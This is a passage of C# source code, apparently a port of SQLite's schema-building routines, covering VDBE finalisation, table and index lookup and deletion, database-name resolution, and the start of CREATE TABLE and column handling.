p.iDb;\nsqlite3VdbeAddOp4( pVdbe, OP_TableLock, p1, p.iTab, p.isWriteLock,\np.zName, P4_STATIC );\n}\n}\n#else\n    //  #define codeTableLocks(x)\n    static void codeTableLocks( Parse pParse ) { }\n#endif\n\n    /*\n** This routine is called after a single SQL statement has been\n** parsed and a VDBE program to execute that statement has been\n** prepared.  This routine puts the finishing touches on the\n** VDBE program and resets the pParse structure for the next\n** parse.\n**\n** Note that if an error occurred, it might be the case that\n** no VDBE code was generated.\n*/\n    static void sqlite3FinishCoding( Parse pParse )\n    {\n      sqlite3 db;\n      Vdbe v;\n\n      db = pParse.db;\n//      if ( db.mallocFailed != 0 ) return;\n      if ( pParse.nested != 0 ) return;\n      if ( pParse.nErr != 0 ) return;\n\n      /* Begin by generating some termination code at the end of the\n      ** vdbe program\n      */\n      v = sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        sqlite3VdbeAddOp0( v, OP_Halt );\n\n        /* The cookie mask contains one bit for each database file open.\n        ** (Bit 0 is for main, bit 1 is for temp, and so forth.)  Bits are\n        ** set for each database that is used.  Generate code to start a\n        ** transaction on each used database and to verify the schema cookie\n        ** on each used database.\n        */\n        if ( pParse.cookieGoto > 0 )\n        {\n          u32 mask;\n          int iDb;\n          sqlite3VdbeJumpHere( v, pParse.cookieGoto - 1 );\n          for ( iDb = 0, mask = 1 ; iDb < db.nDb ; mask <<= 1, iDb++ )\n          {\n            if ( ( mask & pParse.cookieMask ) == 0 ) continue;\n            sqlite3VdbeUsesBtree( v, iDb );\n            sqlite3VdbeAddOp2( v, OP_Transaction, iDb, ( mask & pParse.writeMask ) != 0 );\n            if ( db.init.busy == 0 )\n            {\n              sqlite3VdbeAddOp2( v, OP_VerifyCookie, iDb, pParse.cookieValue[iDb] );\n            }\n          }\n#if !SQLITE_OMIT_VIRTUALTABLE\n{\nint i;\nfor(i=0; i<pParse.nVtabLock; i++){\nchar *vtab = (char *)sqlite3GetVTable(db, pParse->apVtabLock[i]);\nsqlite3VdbeAddOp4(v, OP_VBegin, 0, 0, 0, vtab, P4_VTAB);\n}\npParse.nVtabLock = 0;\n}\n#endif\n\n          /* Once all the cookies have been verified and transactions opened,\n** obtain the required table-locks. This is a no-op unless the\n** shared-cache feature is enabled.\n*/\n          codeTableLocks( pParse );\n\n          /* Initialize any AUTOINCREMENT data structures required.\n          */\n          sqlite3AutoincrementBegin( pParse );\n\n          /* Finally, jump back to the beginning of the executable code. */\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.cookieGoto );\n        }\n      }\n\n\n      /* Get the VDBE program ready for execution\n      */\n      if ( v != null && ALWAYS( pParse.nErr == 0 ) /* && 0 == db.mallocFailed */ )\n      {\n#if  SQLITE_DEBUG\n        TextWriter trace = ( db.flags & SQLITE_VdbeTrace ) != 0 ? Console.Out : null;\n        sqlite3VdbeTrace( v, trace );\n#endif\n        Debug.Assert( pParse.iCacheLevel == 0 );  /* Disables and re-enables match */\n        sqlite3VdbeMakeReady( v, pParse.nVar, pParse.nMem,\n        pParse.nTab, pParse.explain );\n        pParse.rc = SQLITE_DONE;\n        pParse.colNamesSet = 0;\n      }\n      else if ( pParse.rc == SQLITE_OK )\n      {\n        pParse.rc = SQLITE_ERROR;\n      }\n      pParse.nTab = 0;\n      pParse.nMem = 0;\n      pParse.nSet = 0;\n      pParse.nVar = 0;\n      pParse.cookieMask = 0;\n      pParse.cookieGoto = 0;\n    }\n\n    /*\n    ** Run the parser and code generator recursively in order to generate\n    ** code for the SQL statement given onto the end of the pParse context\n    ** currently under construction.  When the parser is run recursively\n    ** this way, the final OP_Halt is not appended and other initialization\n    ** and finalization steps are omitted because those are handling by the\n    ** outermost parser.\n    **\n    ** Not everything is nestable.  This facility is designed to permit\n    ** INSERT, UPDATE, and DELETE operations against SQLITE_MASTER.  Use\n    ** care if you decide to try to use this routine for some other purposes.\n    */\n    static void sqlite3NestedParse( Parse pParse, string zFormat, params object[] ap )\n    {\n      //  va_list ap;\n      string zSql;        //  char *zSql;\n      string zErrMsg = \"\";//  char* zErrMsg = 0;\n      sqlite3 db = pParse.db;\n      //# define SAVE_SZ  (Parse.Length - offsetof(Parse,nVar))\n      //  char saveBuf[SAVE_SZ];\n\n      if ( pParse.nErr != 0 ) return;\n      Debug.Assert( pParse.nested < 10 );  /* Nesting should only be of limited depth */\n      va_start( ap, zFormat );\n      zSql = sqlite3VMPrintf( db, zFormat, ap );\n      va_end( ap );\n      //if( zSql==\"\" ){\n      //  return;   /* A malloc must have failed */\n      //}\n      pParse.nested++;\n      pParse.SaveMembers();     //  memcpy(saveBuf, pParse.nVar, SAVE_SZ);\n      pParse.ResetMembers();    //  memset(pParse.nVar, 0, SAVE_SZ);\n      sqlite3RunParser( pParse, zSql, ref zErrMsg );\n      //sqlite3DbFree( db, ref zErrMsg );\n      //sqlite3DbFree( db, ref  zSql );\n      pParse.RestoreMembers();  //  memcpy(pParse.nVar, saveBuf, SAVE_SZ);\n      pParse.nested--;\n    }\n\n    /*\n    ** Locate the in-memory structure that describes a particular database\n    ** table given the name of that table and (optionally) the name of the\n    ** database containing the table.  Return NULL if not found.\n    **\n    ** If zDatabase is 0, all databases are searched for the table and the\n    ** first matching table is returned.  (No checking for duplicate table\n    ** names is done.)  The search order is TEMP first, then MAIN, then any\n    ** auxiliary databases added using the ATTACH command.\n    **\n    ** See also sqlite3LocateTable().\n    */\n    static Table sqlite3FindTable( sqlite3 db, string zName, string zDatabase )\n    {\n      Table p = null;\n      int i;\n      int nName;\n      Debug.Assert( zName != null );\n      nName = sqlite3Strlen30( zName );\n      for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ )\n      {\n        int j = ( i < 2 ) ? i ^ 1 : i;   /* Search TEMP before MAIN */\n        if ( zDatabase != null && sqlite3StrICmp( zDatabase, db.aDb[j].zName ) != 0 ) continue;\n        p = (Table)sqlite3HashFind( db.aDb[j].pSchema.tblHash, zName, nName );\n        if ( p != null ) break;\n      }\n      return p;\n    }\n\n    /*\n    ** Locate the in-memory structure that describes a particular database\n    ** table given the name of that table and (optionally) the name of the\n    ** database containing the table.  Return NULL if not found.  Also leave an\n    ** error message in pParse.zErrMsg.\n    **\n    ** The difference between this routine and sqlite3FindTable() is that this\n    ** routine leaves an error message in pParse.zErrMsg where\n    ** sqlite3FindTable() does not.\n    */\n    static Table sqlite3LocateTable(\n    Parse pParse,     /* context in which to report errors */\n    int isView,       /* True if looking for a VIEW rather than a TABLE */\n    string zName,     /* Name of the table we are looking for */\n    string zDbase     /* Name of the database.  Might be NULL */\n    )\n    {\n      Table p;\n\n      /* Read the database schema. If an error occurs, leave an error message\n      ** and code in pParse and return NULL. */\n      if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n      {\n        return null;\n      }\n\n      p = sqlite3FindTable( pParse.db, zName, zDbase );\n      if ( p == null )\n      {\n        string zMsg = isView != 0 ? \"no such view\" : \"no such table\";\n        if ( zDbase != null )\n        {\n          sqlite3ErrorMsg( pParse, \"%s: %s.%s\", zMsg, zDbase, zName );\n        }\n        else\n        {\n          sqlite3ErrorMsg( pParse, \"%s: %s\", zMsg, zName );\n        }\n        pParse.checkSchema = 1;\n      }\n      return p;\n    }\n\n    /*\n    ** Locate the in-memory structure that describes\n    ** a particular index given the name of that index\n    ** and the name of the database that contains the index.\n    ** Return NULL if not found.\n    **\n    ** If zDatabase is 0, all databases are searched for the\n    ** table and the first matching index is returned.  (No checking\n    ** for duplicate index names is done.)  The search order is\n    ** TEMP first, then MAIN, then any auxiliary databases added\n    ** using the ATTACH command.\n    */\n    static Index sqlite3FindIndex( sqlite3 db, string zName, string zDb )\n    {\n      Index p = null;\n      int i;\n      int nName = sqlite3Strlen30( zName );\n      for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ )\n      {\n        int j = ( i < 2 ) ? i ^ 1 : i;  /* Search TEMP before MAIN */\n        Schema pSchema = db.aDb[j].pSchema;\n        Debug.Assert( pSchema != null );\n        if ( zDb != null && sqlite3StrICmp( zDb, db.aDb[j].zName ) != 0 ) continue;\n        p = (Index)sqlite3HashFind( pSchema.idxHash, zName, nName );\n        if ( p != null ) break;\n      }\n      return p;\n    }\n\n    /*\n    ** Reclaim the memory used by an index\n    */\n    static void freeIndex( ref Index p )\n    {\n      sqlite3 db = p.pTable.dbMem;\n      /* testcase( db==0 ); */\n      //sqlite3DbFree( db, ref p.zColAff );\n      //sqlite3DbFree( db, ref p );\n    }\n\n    /*\n    ** Remove the given index from the index hash table, and free\n    ** its memory structures.\n    **\n    ** The index is removed from the database hash tables but\n    ** it is not unlinked from the Table that it indexes.\n    ** Unlinking from the Table must be done by the calling function.\n    */\n    static void sqlite3DeleteIndex( Index p )\n    {\n      Index pOld;\n      string zName = p.zName;\n\n      pOld = (Index)sqlite3HashInsert( ref p.pSchema.idxHash, zName,\n      sqlite3Strlen30( zName ), null );\n      Debug.Assert( pOld == null || pOld == p );\n      freeIndex( ref p );\n    }\n\n    /*\n    ** For the index called zIdxName which is found in the database iDb,\n    ** unlike that index from its Table then remove the index from\n    ** the index hash table and free all memory structures associated\n    ** with the index.\n    */\n    static void sqlite3UnlinkAndDeleteIndex( sqlite3 db, int iDb, string zIdxName )\n    {\n      Index pIndex;\n      int len;\n      Hash pHash = db.aDb[iDb].pSchema.idxHash;\n\n      len = sqlite3Strlen30( zIdxName );\n      pIndex = (Index)sqlite3HashInsert( ref pHash, zIdxName, len, null );\n      if ( pIndex != null )\n      {\n        if ( pIndex.pTable.pIndex == pIndex )\n        {\n          pIndex.pTable.pIndex = pIndex.pNext;\n        }\n        else\n        {\n          Index p;\n          /* Justification of ALWAYS();  The index must be on the list of\n          ** indices. */\n          p = pIndex.pTable.pIndex;\n          while ( ALWAYS( p != null ) && p.pNext != pIndex ) { p = p.pNext; }\n          if ( ALWAYS( p != null && p.pNext == pIndex ) )\n          {\n            p.pNext = pIndex.pNext;\n          }\n        }\n        freeIndex( ref pIndex );\n      }\n      db.flags |= SQLITE_InternChanges;\n    }\n\n    /*\n    ** Erase all schema information from the in-memory hash tables of\n    ** a single database.  This routine is called to reclaim memory\n    ** before the database closes.  It is also called during a rollback\n    ** if there were schema changes during the transaction or if a\n    ** schema-cookie mismatch occurs.\n    **\n    ** If iDb==0 then reset the internal schema tables for all database\n    ** files.  If iDb>=1 then reset the internal schema for only the\n    ** single file indicated.\n    */\n    static void sqlite3ResetInternalSchema( sqlite3 db, int iDb )\n    {\n      int i, j;\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n\n      if ( iDb == 0 )\n      {\n        sqlite3BtreeEnterAll( db );\n      }\n      for ( i = iDb ; i < db.nDb ; i++ )\n      {\n        Db pDb = db.aDb[i];\n        if ( pDb.pSchema != null )\n        {\n          Debug.Assert( i == 1 || ( pDb.pBt != null && sqlite3BtreeHoldsMutex( pDb.pBt ) ) );\n          Debug.Assert( i == 1 || ( pDb.pBt != null ) );\n          sqlite3SchemaFree( pDb.pSchema );\n        }\n        if ( iDb > 0 ) return;\n      }\n      Debug.Assert( iDb == 0 );\n      db.flags &= ~SQLITE_InternChanges;\n      sqlite3VtabUnlockList( db );\n      sqlite3BtreeLeaveAll( db );\n      /* If one or more of the auxiliary database files has been closed,\n      ** then remove them from the auxiliary database list.  We take the\n      ** opportunity to do this here since we have just deleted all of the\n      ** schema hash tables and therefore do not have to make any changes\n      ** to any of those tables.\n      */\n      for ( i = j = 2 ; i < db.nDb ; i++ )\n      {\n        Db pDb = db.aDb[i];\n        if ( pDb.pBt == null )\n        {\n          //sqlite3DbFree( db, ref pDb.zName );\n          continue;\n        }\n        if ( j < i )\n        {\n          db.aDb[j] = db.aDb[i];\n        }\n        j++;\n      }\n      if ( db.nDb != j ) db.aDb[j] = new Db();//memset(db.aDb[j], 0, (db.nDb-j)*sizeof(db.aDb[j]));\n      db.nDb = j;\n      if ( db.nDb <= 2 && db.aDb != db.aDbStatic )\n      {\n        Array.Copy( db.aDb, db.aDbStatic, 2 );// memcpy(db.aDbStatic, db.aDb, 2*sizeof(db.aDb[0]));\n        //sqlite3DbFree(db,ref db.aDb);\n        //db.aDb = db.aDbStatic;\n      }\n    }\n\n    /*\n    ** This routine is called when a commit occurs.\n    */\n    static void sqlite3CommitInternalChanges( sqlite3 db )\n    {\n      db.flags &= ~SQLITE_InternChanges;\n    }\n\n    /*\n    ** Clear the column names from a table or view.\n    */\n    static void sqliteResetColumnNames( Table pTable )\n    {\n      int i;\n      Column pCol;\n      sqlite3 db = pTable.dbMem;\n      testcase( db == null );\n      Debug.Assert( pTable != null );\n      for ( i = 0 ; i < pTable.nCol ; i++ )\n      {\n        pCol = pTable.aCol[i];\n        if ( pCol != null )\n        {\n          //sqlite3DbFree( db, ref pCol.zName );\n          sqlite3ExprDelete( db, ref pCol.pDflt );\n          //sqlite3DbFree( db, ref pCol.zDflt );\n          //sqlite3DbFree( db, ref pCol.zType );\n          //sqlite3DbFree( db, ref pCol.zColl );\n        }\n      }\n      pTable.aCol = null; //sqlite3DbFree( db, ref pTable.aCol );\n      pTable.nCol = 0;\n    }\n\n    /*\n    ** Remove the memory data structures associated with the given\n    ** Table.  No changes are made to disk by this routine.\n    **\n    ** This routine just deletes the data structure.  It does not unlink\n    ** the table data structure from the hash table.  But it does destroy\n    ** memory structures of the indices and foreign keys associated with\n    ** the table.\n    */\n    static void sqlite3DeleteTable( ref Table pTable )\n    {\n      Index pIndex; Index pNext;\n      FKey pFKey; FKey pNextFKey;\n      sqlite3 db;\n\n      if ( pTable == null ) return;\n      db = pTable.dbMem;\n      testcase( db == null );\n\n      /* Do not delete the table until the reference count reaches zero. */\n      pTable.nRef--;\n      if ( pTable.nRef > 0 )\n      {\n        return;\n      }\n      Debug.Assert( pTable.nRef == 0 );\n\n      /* Delete all indices associated with this table\n      */\n      for ( pIndex = pTable.pIndex ; pIndex != null ; pIndex = pNext )\n      {\n        pNext = pIndex.pNext;\n        Debug.Assert( pIndex.pSchema == pTable.pSchema );\n        sqlite3DeleteIndex( pIndex );\n      }\n\n#if !SQLITE_OMIT_FOREIGN_KEY\n      /* Delete all foreign keys associated with this table. */\n      for ( pFKey = pTable.pFKey ; pFKey != null ; pFKey = pNextFKey )\n      {\n        pNextFKey = pFKey.pNextFrom;\n        pFKey = null;// //sqlite3DbFree(db,ref pFKey);\n      }\n#endif\n\n      /* Delete the Table structure itself.\n*/\n      sqliteResetColumnNames( pTable );\n      //sqlite3DbFree( db, ref pTable.zName );\n      //sqlite3DbFree( db, ref pTable.zColAff );\n      sqlite3SelectDelete( db, ref pTable.pSelect );\n#if !SQLITE_OMIT_CHECK\n      sqlite3ExprDelete( db, ref pTable.pCheck );\n#endif\n      sqlite3VtabClear( pTable );\n      //sqlite3DbFree( db, ref pTable );\n    }\n\n    /*\n    ** Unlink the given table from the hash tables and the delete the\n    ** table structure with all its indices and foreign keys.\n    */\n    static void sqlite3UnlinkAndDeleteTable( sqlite3 db, int iDb, string zTabName )\n    {\n      Table p;\n      Db pDb;\n\n      Debug.Assert( db != null );\n      Debug.Assert( iDb >= 0 && iDb < db.nDb );\n      Debug.Assert( zTabName != null && zTabName[0] != '\\0' );\n      pDb = db.aDb[iDb];\n      p = (Table)sqlite3HashInsert( ref pDb.pSchema.tblHash, zTabName,\n      sqlite3Strlen30( zTabName ), null );\n      sqlite3DeleteTable( ref p );\n      db.flags |= SQLITE_InternChanges;\n    }\n\n    /*\n    ** Given a token, return a string that consists of the text of that\n    ** token.  Space to hold the returned string\n    ** is obtained from sqliteMalloc() and must be freed by the calling\n    ** function.\n    **\n    ** Any quotation marks (ex:  \"name\", 'name', [name], or `name`) that\n    ** surround the body of the token are removed.\n    **\n    ** Tokens are often just pointers into the original SQL text and so\n    ** are not \\000 terminated and are not persistent.  The returned string\n    ** is \\000 terminated and is persistent.\n    */\n    static string sqlite3NameFromToken( sqlite3 db, Token pName )\n    {\n      string zName;\n      if ( pName != null && pName.z != null )\n      {\n        zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(db, (char*)pName.z, pName.n);\n        sqlite3Dequote( ref zName );\n      }\n      else\n      {\n        return null;\n      }\n      return zName;\n    }\n\n    /*\n    ** Open the sqlite_master table stored in database number iDb for\n    ** writing. The table is opened using cursor 0.\n    */\n    static void sqlite3OpenMasterTable( Parse p, int iDb )\n    {\n      Vdbe v = sqlite3GetVdbe( p );\n      sqlite3TableLock( p, iDb, MASTER_ROOT, 1, SCHEMA_TABLE( iDb ) );\n      sqlite3VdbeAddOp3( v, OP_OpenWrite, 0, MASTER_ROOT, iDb );\n      sqlite3VdbeChangeP4( v, -1, (int)5, P4_INT32 );  /* 5 column table */\n      if ( p.nTab == 0 )\n      {\n        p.nTab = 1;\n      }\n    }\n\n    /*\n    ** Parameter zName points to a nul-terminated buffer containing the name\n    ** of a database (\"main\", \"temp\" or the name of an attached db). This\n    ** function returns the index of the named database in db->aDb[], or\n    ** -1 if the named db cannot be found.\n    */\n    static int sqlite3FindDbName( sqlite3 db, string zName )\n    {\n      int i = -1;    /* Database number */\n      if ( zName != null )\n      {\n        Db pDb;\n        int n = sqlite3Strlen30( zName );\n        for ( i = ( db.nDb - 1 ) ; i >= 0 ; i-- )\n        {\n          pDb = db.aDb[i];\n          if ( ( OMIT_TEMPDB == 0 || i != 1 ) && n == sqlite3Strlen30( pDb.zName ) &&\n          0 == sqlite3StrICmp( pDb.zName, zName ) )\n          {\n            break;\n          }\n        }\n      }\n      return i;\n    }\n\n    /*\n    ** The token *pName contains the name of a database (either \"main\" or\n    ** \"temp\" or the name of an attached db). This routine returns the\n    ** index of the named database in db->aDb[], or -1 if the named db\n    ** does not exist.\n    */\n    static int sqlite3FindDb( sqlite3 db, Token pName )\n    {\n      int i;                               /* Database number */\n      string zName;                         /* Name we are searching for */\n      zName = sqlite3NameFromToken( db, pName );\n      i = sqlite3FindDbName( db, zName );\n      //sqlite3DbFree( db, zName );\n      return i;\n    }\n\n    /* The table or view or trigger name is passed to this routine via tokens\n    ** pName1 and pName2. If the table name was fully qualified, for example:\n    **\n    ** CREATE TABLE xxx.yyy (...);\n    **\n    ** Then pName1 is set to \"xxx\" and pName2 \"yyy\". On the other hand if\n    ** the table name is not fully qualified, i.e.:\n    **\n    ** CREATE TABLE yyy(...);\n    **\n    ** Then pName1 is set to \"yyy\" and pName2 is \"\".\n    **\n    ** This routine sets the ppUnqual pointer to point at the token (pName1 or\n    ** pName2) that stores the unqualified table name.  The index of the\n    ** database \"xxx\" is returned.\n    */\n    static int sqlite3TwoPartName(\n    Parse pParse,      /* Parsing and code generating context */\n    Token pName1,      /* The \"xxx\" in the name \"xxx.yyy\" or \"xxx\" */\n    Token pName2,      /* The \"yyy\" in the name \"xxx.yyy\" */\n    ref Token pUnqual  /* Write the unqualified object name here */\n    )\n    {\n      int iDb;                    /* Database holding the object */\n      sqlite3 db = pParse.db;\n\n      if ( ALWAYS( pName2 != null ) && pName2.n > 0 )\n      {\n        if ( db.init.busy != 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"corrupt database\" );\n          pParse.nErr++;\n          return -1;\n        }\n        pUnqual = pName2;\n        iDb = sqlite3FindDb( db, pName1 );\n        if ( iDb < 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"unknown database %T\", pName1 );\n          pParse.nErr++;\n          return -1;\n        }\n      }\n      else\n      {\n        Debug.Assert( db.init.iDb == 0 || db.init.busy != 0 );\n        iDb = db.init.iDb;\n        pUnqual = pName1;\n      }\n      return iDb;\n    }\n\n    /*\n    ** This routine is used to check if the UTF-8 string zName is a legal\n    ** unqualified name for a new schema object (table, index, view or\n    ** trigger). All names are legal except those that begin with the string\n    ** \"sqlite_\" (in upper, lower or mixed case). This portion of the namespace\n    ** is reserved for internal use.\n    */\n    static int sqlite3CheckObjectName( Parse pParse, string zName )\n    {\n      if ( 0 == pParse.db.init.busy && pParse.nested == 0\n      && ( pParse.db.flags & SQLITE_WriteSchema ) == 0\n      && 0 == sqlite3StrNICmp( zName, \"sqlite_\", 7 ) )\n      {\n        sqlite3ErrorMsg( pParse, \"object name reserved for internal use: %s\", zName );\n        return SQLITE_ERROR;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Begin constructing a new table representation in memory.  This is\n    ** the first of several action routines that get called in response\n    ** to a CREATE TABLE statement.  In particular, this routine is called\n    ** after seeing tokens \"CREATE\" and \"TABLE\" and the table name. The isTemp\n    ** flag is true if the table should be stored in the auxiliary database\n    ** file instead of in the main database file.  This is normally the case\n    ** when the \"TEMP\" or \"TEMPORARY\" keyword occurs in between\n    ** CREATE and TABLE.\n    **\n    ** The new table record is initialized and put in pParse.pNewTable.\n    ** As more of the CREATE TABLE statement is parsed, additional action\n    ** routines will be called to add more information to this record.\n    ** At the end of the CREATE TABLE statement, the sqlite3EndTable() routine\n    ** is called to complete the construction of the new table record.\n    */\n    static void sqlite3StartTable(\n    Parse pParse,   /* Parser context */\n    Token pName1,   /* First part of the name of the table or view */\n    Token pName2,   /* Second part of the name of the table or view */\n    int isTemp,      /* True if this is a TEMP table */\n    int isView,      /* True if this is a VIEW */\n    int isVirtual,   /* True if this is a VIRTUAL table */\n    int noErr        /* Do nothing if table already exists */\n    )\n    {\n      Table pTable;\n      string zName = null; /* The name of the new table */\n      sqlite3 db = pParse.db;\n      Vdbe v;\n      int iDb;         /* Database number to create the table in */\n      Token pName = new Token();    /* Unqualified name of the table to create */\n\n      /* The table or view name to create is passed to this routine via tokens\n      ** pName1 and pName2. If the table name was fully qualified, for example:\n      **\n      ** CREATE TABLE xxx.yyy (...);\n      **\n      ** Then pName1 is set to \"xxx\" and pName2 \"yyy\". On the other hand if\n      ** the table name is not fully qualified, i.e.:\n      **\n      ** CREATE TABLE yyy(...);\n      **\n      ** Then pName1 is set to \"yyy\" and pName2 is \"\".\n      **\n      ** The call below sets the pName pointer to point at the token (pName1 or\n      ** pName2) that stores the unqualified table name. The variable iDb is\n      ** set to the index of the database that the table or view is to be\n      ** created in.\n      */\n      iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName );\n      if ( iDb < 0 ) return;\n      if ( OMIT_TEMPDB == 0 && isTemp != 0 && iDb > 1 )\n      {\n        /* If creating a temp table, the name may not be qualified */\n        sqlite3ErrorMsg( pParse, \"temporary table name must be unqualified\" );\n        return;\n      }\n      if ( OMIT_TEMPDB == 0 && isTemp != 0 ) iDb = 1;\n\n      pParse.sNameToken = pName;\n      zName = sqlite3NameFromToken( db, pName );\n      if ( zName == null ) return;\n      if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) )\n      {\n        goto begin_table_error;\n      }\n      if ( db.init.iDb == 1 ) isTemp = 1;\n#if !SQLITE_OMIT_AUTHORIZATION\nDebug.Assert( (isTemp & 1)==isTemp );\n{\nint code;\nchar *zDb = db.aDb[iDb].zName;\nif( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(isTemp), 0, zDb) ){\ngoto begin_table_error;\n}\nif( isView ){\nif( OMIT_TEMPDB ==0&& isTemp ){\ncode = SQLITE_CREATE_TEMP_VIEW;\n}else{\ncode = SQLITE_CREATE_VIEW;\n}\n}else{\nif( OMIT_TEMPDB ==0&& isTemp ){\ncode = SQLITE_CREATE_TEMP_TABLE;\n}else{\ncode = SQLITE_CREATE_TABLE;\n}\n}\nif( !isVirtual && sqlite3AuthCheck(pParse, code, zName, 0, zDb) ){\ngoto begin_table_error;\n}\n}\n#endif\n\n      /* Make sure the new table name does not collide with an existing\n** index or table name in the same database.  Issue an error message if\n** it does. The exception is if the statement being parsed was passed\n** to an sqlite3_declare_vtab() call. In that case only the column names\n** and types will be used, so there is no need to test for namespace\n** collisions.\n*/\n      if ( !IN_DECLARE_VTAB )\n      {\n        if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n        {\n          goto begin_table_error;\n        }\n        pTable = sqlite3FindTable( db, zName, db.aDb[iDb].zName );\n        if ( pTable != null )\n        {\n          if ( noErr == 0 )\n          {\n            sqlite3ErrorMsg( pParse, \"table %T already exists\", pName );\n          }\n          goto begin_table_error;\n        }\n        if ( sqlite3FindIndex( db, zName, null ) != null && ( iDb == 0 || 0 == db.init.busy ) )\n        {\n          sqlite3ErrorMsg( pParse, \"there is already an index named %s\", zName );\n          goto begin_table_error;\n        }\n      }\n\n      pTable = new Table();// sqlite3DbMallocZero(db, Table).Length;\n      if ( pTable == null )\n      {\n//        db.mallocFailed = 1;\n        pParse.rc = SQLITE_NOMEM;\n        pParse.nErr++;\n        goto begin_table_error;\n      }\n      pTable.zName = zName;\n      pTable.iPKey = -1;\n      pTable.pSchema = db.aDb[iDb].pSchema;\n      pTable.nRef = 1;\n      pTable.dbMem = null;\n      Debug.Assert( pParse.pNewTable == null );\n      pParse.pNewTable = pTable;\n\n      /* If this is the magic sqlite_sequence table used by autoincrement,\n      ** then record a pointer to this table in the main database structure\n      ** so that INSERT can find the table easily.\n      */\n#if !SQLITE_OMIT_AUTOINCREMENT\n      if ( pParse.nested == 0 && zName == \"sqlite_sequence\" )\n      {\n        pTable.pSchema.pSeqTab = pTable;\n      }\n#endif\n\n      /* Begin generating the code that will insert the table record into\n** the SQLITE_MASTER table.  Note in particular that we must go ahead\n** and allocate the record number for the table entry now.  Before any\n** PRIMARY KEY or UNIQUE keywords are parsed.  Those keywords will cause\n** indices to be created and the table record must come before the\n** indices.  Hence, the record number for the table must be allocated\n** now.\n*/\n      if ( 0 == db.init.busy && ( v = sqlite3GetVdbe( pParse ) ) != null )\n      {\n        int j1;\n        int fileFormat;\n        int reg1, reg2, reg3;\n        sqlite3BeginWriteOperation( pParse, 0, iDb );\n\n        if ( isVirtual != 0 )\n        {\n          sqlite3VdbeAddOp0( v, OP_VBegin );\n        }\n\n        /* If the file format and encoding in the database have not been set,\n        ** set them now.\n        */\n        reg1 = pParse.regRowid = ++pParse.nMem;\n        reg2 = pParse.regRoot = ++pParse.nMem;\n        reg3 = ++pParse.nMem;\n        sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, reg3, BTREE_FILE_FORMAT );\n        sqlite3VdbeUsesBtree( v, iDb );\n        j1 = sqlite3VdbeAddOp1( v, OP_If, reg3 );\n        fileFormat = ( db.flags & SQLITE_LegacyFileFmt ) != 0 ?\n        1 : SQLITE_MAX_FILE_FORMAT;\n        sqlite3VdbeAddOp2( v, OP_Integer, fileFormat, reg3 );\n        sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, reg3 );\n        sqlite3VdbeAddOp2( v, OP_Integer, ENC( db ), reg3 );\n        sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_TEXT_ENCODING, reg3 );\n        sqlite3VdbeJumpHere( v, j1 );\n\n        /* This just creates a place-holder record in the sqlite_master table.\n        ** The record created does not contain anything yet.  It will be replaced\n        ** by the real entry in code generated at sqlite3EndTable().\n        **\n        ** The rowid for the new entry is left in register pParse->regRowid.\n        ** The root page number of the new table is left in reg pParse->regRoot.\n        ** The rowid and root page number values are needed by the code that\n        ** sqlite3EndTable will generate.\n        */\n        if ( isView != 0 || isVirtual != 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_Integer, 0, reg2 );\n        }\n        else\n        {\n          sqlite3VdbeAddOp2( v, OP_CreateTable, iDb, reg2 );\n        }\n        sqlite3OpenMasterTable( pParse, iDb );\n        sqlite3VdbeAddOp2( v, OP_NewRowid, 0, reg1 );\n        sqlite3VdbeAddOp2( v, OP_Null, 0, reg3 );\n        sqlite3VdbeAddOp3( v, OP_Insert, 0, reg3, reg1 );\n        sqlite3VdbeChangeP5( v, OPFLAG_APPEND );\n        sqlite3VdbeAddOp0( v, OP_Close );\n      }\n\n      /* Normal (non-error) return. */\n      return;\n\n      /* If an error occurs, we jump here */\nbegin_table_error:\n      //sqlite3DbFree( db, ref zName );\n      return;\n    }\n\n    /*\n    ** This macro is used to compare two strings in a case-insensitive manner.\n    ** It is slightly faster than calling sqlite3StrICmp() directly, but\n    ** produces larger code.\n    **\n    ** WARNING: This macro is not compatible with the strcmp() family. It\n    ** returns true if the two strings are equal, otherwise false.\n    */\n    //#define STRICMP(x, y) (\\\n    //sqlite3UpperToLower[*(unsigned char *)(x)]==   \\\n    //sqlite3UpperToLower[*(unsigned char *)(y)]     \\\n    //&& sqlite3StrICmp((x)+1,(y)+1)==0 )\n\n    /*\n    ** Add a new column to the table currently being constructed.\n    **\n    ** The parser calls this routine once for each column declaration\n    ** in a CREATE TABLE statement.  sqlite3StartTable() gets called\n    ** first to get things going.  Then this routine is called for each\n    ** column.\n    */\n    static void sqlite3AddColumn( Parse pParse, Token pName )\n    {\n      Table p;\n      int i;\n      string z;\n      Column pCol;\n      sqlite3 db = pParse.db;\n      if ( ( p = pParse.pNewTable ) == null ) return;\n#if SQLITE_MAX_COLUMN || !SQLITE_MAX_COLUMN\n      if ( p.nCol + 1 > db.aLimit[SQLITE_LIMIT_COLUMN] )\n      {\n        sqlite3ErrorMsg( pParse, \"too many columns on %s\", p.zName );\n        return;\n      }\n#endif\n      z = sqlite3NameFromToken( db, pName );\n      if ( z == null ) return;\n      for ( i = 0 ; i < p.nCol ; i++ )\n      {\n        if ( 0 == sqlite3StrICmp( z, p.aCol[i].zName ) )\n        {//STRICMP(z, p.aCol[i].zName) ){\n          sqlite3ErrorMsg( pParse, \"duplicate column name: %s\", z );\n          //sqlite3DbFree( db, ref z );\n          return;\n        }\n      }\n      if ( ( p.nCol & 0x7 ) == 0 )\n      {\n        //aNew = sqlite3DbRealloc(db,p.aCol,(p.nCol+8)*sizeof(p.aCol[0]));\n        //if( aNew==0 ){\n        //  //sqlite3DbFree(db,ref z);\n        //  return;\n        //}\n        Array.Resize( ref 